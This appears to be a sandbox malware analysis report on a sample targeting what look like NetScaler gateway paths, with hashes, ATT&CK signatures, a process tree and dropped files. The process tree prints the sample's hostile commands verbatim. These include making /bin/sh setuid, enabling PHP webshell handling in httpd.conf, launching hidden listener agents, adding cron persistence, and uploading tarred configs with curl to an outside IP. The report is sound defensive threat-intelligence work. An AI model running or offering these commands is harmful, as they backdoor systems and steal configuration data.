2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7

Analysis

max time kernel
36s
max time network
38s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 11:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
Size 24KB
Sample261003-nvrlysys9l
SHA256 2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7
MD5 a7fe433d8982d52cabb09c8b5c9386a9
SHA1 c0629d26fea48597d5a65fe41499cc7a08e77341
SHA512 c287d3bafa45476887b82b25866aa42e856ef853bcc3acb33d0598284412c5d312328562b4a4a8b963cbb91ba08d1bdd01ec67ba3127df86fb372362cb74dc47
SSDEEP 768:CFxadn2345FPWdWmS1nwuxli8o7TUILRyUKtvZC17:CQ2I5FPWdPSNwuxli8o80RyhvZ07
TLSH
T18EB2EBC17C7E5DB583D7C47CEB96E442B7666807100A2464B9BCA3AC6F68434D2F1AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FIh727	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
786	sh
790	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/706/status	ps
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/424/cmdline	ps
File opened for reading	/proc/424/cmdline	pkill
File opened for reading	/proc/660/cmdline	pkill
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/77/status	ps
File opened for reading	/proc/105/status	ps
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/319/stat	ps
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/660/cmdline	pkill
File opened for reading	/proc/116/status	pkill
File opened for reading	/proc/75/stat	ps
File opened for reading	/proc/700/status	ps
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/149/status	pkill
File opened for reading	/proc/770/status	pkill
File opened for reading	/proc/664/status	ps
File opened for reading	/proc/702/status	ps
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/325/status	pkill
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/667/cmdline	pkill
File opened for reading	/proc/720/status	pkill
File opened for reading	/proc/322/cmdline	pkill
File opened for reading	/proc/695/status	ps
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/115/cmdline	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/165/cmdline	ps
File opened for reading	/proc/373/stat	ps
File opened for reading	/proc/378/status	ps
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/116/cmdline	ps
File opened for reading	/proc/233/cmdline	pkill
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/105/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
770	pkill
786	sh
787	gzip
790	sh
791	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown

/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
1⤵
- Writes file to tmp directory
PID:706
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:708
- /bin/cat
  cat
  2⤵
  PID:712
- /bin/cat
  cat
  2⤵
  PID:714
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:715
- /bin/cat
  cat
  2⤵
  PID:719
- /bin/cat
  cat
  2⤵
  PID:723
- /bin/cat
  cat
  2⤵
  PID:727
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:729
- /bin/cat
  cat
  2⤵
  PID:732
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:733
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:735
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:737
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  - Reads runtime system information
  PID:739
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:740
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:742
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:743
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:745
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:746
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:747
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:751
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:752
- /bin/cat
  cat
  2⤵
  PID:753
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:755
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:756
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:758
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:760
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:759
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:762
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:761
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:761
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:763
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:764
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:765
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:766
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:767
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:769
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:770
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:772
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:771
- /bin/date
  date -u
  2⤵
  PID:773
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:772
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:771
- /usr/bin/id
  id
  2⤵
  PID:774
- /bin/uname
  uname -a
  2⤵
  PID:775
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:776
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:777
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:778
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:779
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:780
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:781
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:782
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:783
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:784
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:785
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:786
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:787
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/906b4f/loot_nsconfig.tgz
  2⤵
  PID:788
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:789
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:790
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:791
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/906b4f/loot_nshist.tgz
  2⤵
  PID:792
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:803
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/906b4f/loot_httpd.conf
  2⤵
  PID:804
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/906b4f/loot_diag.txt
  2⤵
  PID:840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 2KB
SHA256 cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd
MD5 88145975b4c7f28158926fc2d263876f
SHA1 cf754aac1af84fc2001057ad75560b31f66c1b1b
SHA512 f892e2437d1ec9acbca7353ba0bce3f66e33410bfb7975f8fa54c504f7169b8a9bd7785e55ce0f3a216c44fe0b4befe0c6ea5d4e778936ba8c6eed5694093bf1
TLSH
T1A55169F3B41D4EF61AD98BFC739C9285ABD4D09E286534A1F544B328946814CF4E29B8
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.FIh727

Path /var/spool/cron/crontabs/tmp.FIh727
Size 278B
SHA256 b50ce9df03a315c995d69ebbc5d02f93e688532ba838fd1bbd7ad9bc848b8c51
MD5 177f58787d3d7d9c4b810aa5942c9c4d
SHA1 75cfb355691ee9e438a4df1fddda700fc3447b4a
SHA512 9582e084d425c24a538dd06186445fdd6cbfe767e70c12f7ec35504cbbd185027626cea36e78253d4b9b32670a828e3e36946095a4a29d87db1f203250089793
TLSH
T10DD02B3A6A04EDB74A4907B8929B383DAD41D17C5C0A4E11F08DA054951D34F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 16e77258c11e3592f40369314d530a98f2e28e15d3c562cf8991c720f785ee69
MD5 734c86970d803f2adc4ca01c42f43e84
SHA1 716e4b211b6495a126c2559c3008d02c48700bda
SHA512 5e7a04ebecaa01be7f6456453efbcf21c1aee6d6cfe51297d02ee3972041855a49a1f5bbe48d8cba90d2695b3bee5f7d3f2562bfaaf2ed48e9a37dcd30411f08
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 2KB
SHA256 3a113ebaa8780b3f4bdf29c34075147d23140d625543612f85fa962fc124dfca
MD5 763f67d3a819cb016249a0648acd9f53
SHA1 054f1f4f2332acc2c212964723f139a71bebff51
SHA512 938965861b7208faa4db7df7175d612af3b7ca8a9973cae56ebc81c4bd898c79c13183225a77f922e135997b405a5f5da0d00c3d3b38a15bc8a6fad79938fb30
TLSH
T120516C2397A3170F98D4A18763B2474CD4FFF09729635D08FAA812ED43A74A30742A95
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 3b55d648be841237a9724b45bc9a704573f5e182931f8c3dfd793e32fb3f7959
MD5 f06af88df767279c922c7ade494c2730
SHA1 812976778d1f746816df3bd23893bf455e558c3d
SHA512 6caadde6a2e6c5e4245bf62250a700bf7e3b8cd3cf2dbf2e3ca07f2115c6ae43cff6ac284f3ab40e1702c8297f5e81699fef0f24676d2958d215c0f9818cf3c8
TLSH
T1829002B151846A29142B54C67AC59C05223994AB045D9561A82183A546810170B49111
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 ec9356949c487b3830b31f5e77c91ff4ad36c92572f44942a8f47872c6795fe5
MD5 4d1246e9e2c82795e6304a12b14f3fa4
SHA1 9253a3c8b14959f6f02376b58e8449240d7fcf17
SHA512 df5031ce8a945d105e1cf8fdd6dda0dd78cc4f181b6fecfa5fdb1470f89f68611a8772f0f2284b587074bac88a556f4f2c883e5cf26e22df02ec03b418ecc51e
TLSH
T14FB0127002906516202780D5F5E04CC72237D89602597C10BE50C393414010A1745001
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 195B
SHA256 e593fd1d8263a3b34c330f794b1863fd209c8d17036c56e29329a2f142be083c
MD5 5e44005b15230d4491491eacab64a615
SHA1 1da008f3d13bd1d58a697a667346bb1c54cc222f
SHA512 c32ba0cc3fabd5768b12c520343009312af4ebd11624eee9c777806a6a3065bff969d91e781d95a2dc5d951d5682fb8ca35be85933cb37478cfa199492c4891e
TLSH
T16DD0C062B2703243681774C3F6E8DDEB113388C1062C3B10BC9D83D1030800B6B43460
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 219B
SHA256 a02b298aaa2191922b94cabf52851f088d28b2618a2b84432add112c36994ed9
MD5 431a11ab3f2d3c91fabcfadd5a745709
SHA1 9af25602f933e897a9084b12ec35a31de55ae946
SHA512 5717bbbff0e334b2d2f08722b82cb06573b0d80797a83d9596bc4a7a50b8e54272f145f6b73641bbfe7bcc7e7caf2be9070a07f2455bf354a52adc0ada419f44
TLSH
T195D02351B1707153585774C7F5D8DDEB113384C1052C3A106CAD43D147080177B53551
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 846B
SHA256 bfbb750f8870a6cc14914a639857b3f2668d233bd44cd015982836bf17363b53
MD5 a8677e42fa2fe63b2e38b861f4315ba9
SHA1 effe39e2f6e1311605be08418cac8c01023d2fcb
SHA512 aedb13d8aff193a9a10e61e3f97254fe3a709a07045197cbff092f5720e7698828df404580507fa84a5ce45e159ac0718164d37d21194295410d03cda203a7da
TLSH
T18A018CD7B81AA23B57E2CEF2A8D947E5416280570D4E3FA44ED9A310C1051961F9351D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 185B
SHA256 124dcd66bfa2793e9e36c9c652a524838d0e8c835d03bd1835048d73b8c638e9
MD5 2ac408710810fc78cf374b59e456e4f8
SHA1 d0d3ebd3f3bb42a88cd9b93fd4a6fdc818e65742
SHA512 22e1b6a850ce937b2fa3f741de0d3e6aaf2ef02942214ecc96eef0d3cdf120076b2fa35f2304fc914719790d6cbceae559ef41a98766286813e41932c986672b
TLSH
T107C012FC35038A3D23C204E105D92BEA8190430389C475E28294B530C4867B02BB745F
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 90690036dee37d730b046877b63de6e8a3298a5691989ad58c15c3064c55f8b6
MD5 6fa776e9420798031225117dca93053d
SHA1 508df6d2f626b183426a969a7f77413c5a400aa4
SHA512 136875de40680fdacd01d51a712193fb688123f4df1607685abcaf4e63626fab658101a0c722fceb8567b4d04fa8a0620dbcf8df93758f17a662fff5ea92bd0d
TLSH
T15C9002211414A4AE21B2874AB57552E6ED11D18202552010BA96044140E54114231910
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads